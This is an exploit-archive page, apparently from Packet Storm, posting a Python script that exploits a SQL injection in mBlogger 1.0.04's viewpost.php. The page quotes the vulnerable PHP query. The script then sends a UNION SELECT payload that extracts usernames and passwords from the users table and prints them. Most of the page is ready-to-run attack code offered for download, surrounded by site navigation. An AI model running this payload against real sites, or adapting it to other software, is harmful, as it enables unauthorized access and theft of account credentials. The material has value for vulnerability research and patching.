exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

mBlogger 1.0.04 SQL Injection

mBlogger 1.0.04 SQL Injection
Posted Sep 1, 2010
Authored by Ptrace Security

mBlogger version 1.0.04 remote SQL injection exploit that leverages viewpost.php.

tags | exploit, remote, php, sql injection
SHA-256 | ad67f65f9d7f20b832968beda4d86a419dbd6063e6ed35fa169828ffb2369b3e

mBlogger 1.0.04 SQL Injection

Change Mirror Download
#!/usr/bin/python
#
# Exploit Title: mBlogger v1.0.04 (viewpost.php) SQL Injection Exploit
# Date : 31 August 2010
# Author : Ptrace Security (Gianni Gnesa [gnix])
# Contact : research[at]ptrace-security[dot]com
# Software Link: http://sourceforge.net/projects/mblogger/
# Version : 1.0.04
# Tested on : EasyPHP 5.3.1.0 for Windows
#
#
# Description
# ===========
#
# + viewpost.php => SQL Injection!!
#
# 30: $query = "SELECT id, name, subject, message, posted FROM posts WHERE
# id = '$_GET[postID]'";
# 31: $result = mysql_query($query) or die(mysql_error());
# 32: while($row = mysql_fetch_array($result, MYSQL_ASSOC))
# 33: {
# 34: echo "<div class='posttitle'>";
# 35: echo "<h3>" . $row['subject'] . "</h3>";
# 36: echo "</div>";
# 37: echo "<div class='postbody'>";
# 38: echo "<p> Posted by: " . $row['name'] . " on " . $row['posted'] . "</p>";
# 39: echo "<p>" . $row['message'] . "</p>";
# 40: echo "</div>";
# 41: $postID = $row['id'];
# 42: }
#

import re
import sys
import http.client


def usage(prog):
print('Usage : ' + prog + ' <target> <path>\n')
print('Example: ' + prog + ' localhost /mBlogger/')
print(' ' + prog + ' www.target.com /complet/path/')
return


def exploit(target, path):
payload = 'viewpost.php?postID=-1%27%20UNION%20SELECT%201,%27h4x0r%27,%27'
payload += 'credentials%27,CONCAT(%27%3C1%3E%27,username,%27:%27,password,'
payload += '%27%3C2%3E%27),%20NULL%20FROM%20users%20--%20%27'

print('[+] Sending HTTP Request')
con = http.client.HTTPConnection(target)
con.request('GET', path + payload)
res = con.getresponse()

if res.status != 200:
print('[!] HTTP GET Request Failed')
exit(1)

print('[+] Parsing HTTP Response')
data = res.read().decode()
pattern = re.compile(r"<1>(.+?)<2>", re.M)

print('[+] Information Extracted:\n')
credentials = pattern.findall(data)
for element in credentials:
print(element)

return



print('\n+-----------------------------------------------------------------------------+')
print('| mBlogger v1.0.04 (viewpost.php) SQL Injection Exploit by Ptrace Security |')
print('+-----------------------------------------------------------------------------+\n')

if len(sys.argv) != 3:
usage(sys.argv[0])
else:
exploit(sys.argv[1], sys.argv[2])

exit(0)

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    0 Files
  • 5
    Mar 5th
    0 Files
  • 6
    Mar 6th
    0 Files
  • 7
    Mar 7th
    0 Files
  • 8
    Mar 8th
    0 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    0 Files
  • 12
    Mar 12th
    0 Files
  • 13
    Mar 13th
    0 Files
  • 14
    Mar 14th
    0 Files
  • 15
    Mar 15th
    0 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    0 Files
  • 19
    Mar 19th
    0 Files
  • 20
    Mar 20th
    0 Files
  • 21
    Mar 21st
    0 Files
  • 22
    Mar 22nd
    0 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close